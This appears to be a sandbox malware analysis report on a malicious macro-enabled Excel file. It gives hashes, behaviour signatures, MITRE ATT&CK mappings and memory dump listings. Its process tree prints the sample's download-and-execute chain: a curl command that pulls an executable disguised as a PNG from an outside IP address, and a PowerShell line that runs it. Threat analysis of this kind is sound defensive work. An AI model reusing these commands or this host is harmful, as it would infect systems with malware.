576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83

General

Target

576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83.xlsm
Size

140KB
MD5

a9a0fed71fb7d2c87d0573c2ef58a965
SHA1

c4f1ec24d582759c4429df2a4a8c161f0370ac2f
SHA256

576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83
SHA512

5618fcce1bb08e1f154e51dfe1cf4d9a1866bdbbf085703ec5d578132f2194bbc96ad76237c439cc970d9207f48568ac9a1af63cf3e163c941d51cd4f4ee4205

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	592	1656	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	752	1656	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1656 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

592 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 592 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

1656 EXCEL.EXE
1656 EXCEL.EXE
1656 EXCEL.EXE
1656 EXCEL.EXE
1656 EXCEL.EXE
1656 EXCEL.EXE

pid	process
1656	EXCEL.EXE

pid	process
592	powershell.exe

description	pid	process
Token: SeDebugPrivilege	592	powershell.exe

pid	process
1656	EXCEL.EXE
1656	EXCEL.EXE
1656	EXCEL.EXE
1656	EXCEL.EXE
1656	EXCEL.EXE
1656	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1656 wrote to memory of 592	1656	EXCEL.EXE	powershell.exe
PID 1656 wrote to memory of 592	1656	EXCEL.EXE	powershell.exe
PID 1656 wrote to memory of 592	1656	EXCEL.EXE	powershell.exe
PID 1656 wrote to memory of 592	1656	EXCEL.EXE	powershell.exe
PID 1656 wrote to memory of 752	1656	EXCEL.EXE	cmd.exe
PID 1656 wrote to memory of 752	1656	EXCEL.EXE	cmd.exe
PID 1656 wrote to memory of 752	1656	EXCEL.EXE	cmd.exe
PID 1656 wrote to memory of 752	1656	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:592

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe
2⤵
- Process spawned unexpected child process
PID:752

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/592-70-0x00000000045A0000-0x00000000045A1000-memory.dmp

Filesize
4KB

Download
memory/592-88-0x0000000006470000-0x0000000006471000-memory.dmp

Filesize
4KB

Download
memory/592-105-0x0000000006610000-0x0000000006611000-memory.dmp

Filesize
4KB

Download
memory/592-74-0x0000000006100000-0x0000000006101000-memory.dmp

Filesize
4KB

Download
memory/592-71-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/592-65-0x0000000076E11000-0x0000000076E13000-memory.dmp

Filesize
8KB

Download
memory/592-66-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/592-67-0x0000000004840000-0x0000000004841000-memory.dmp

Filesize
4KB

Download
memory/592-68-0x0000000004800000-0x0000000004801000-memory.dmp

Filesize
4KB

Download
memory/592-69-0x0000000004802000-0x0000000004803000-memory.dmp

Filesize
4KB

Download
memory/592-104-0x0000000006600000-0x0000000006601000-memory.dmp

Filesize
4KB

Download
memory/592-90-0x0000000006410000-0x0000000006411000-memory.dmp

Filesize
4KB

Download
memory/592-63-0x0000000000000000-mapping.dmp

Download
memory/592-79-0x0000000006200000-0x0000000006201000-memory.dmp

Filesize
4KB

Download
memory/592-80-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/592-87-0x0000000006440000-0x0000000006441000-memory.dmp

Filesize
4KB

Download
memory/592-89-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/752-64-0x0000000000000000-mapping.dmp

Download
memory/1656-61-0x0000000071D01000-0x0000000071D03000-memory.dmp

Filesize
8KB

Download
memory/1656-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1656-60-0x000000002FB51000-0x000000002FB54000-memory.dmp

Filesize
12KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads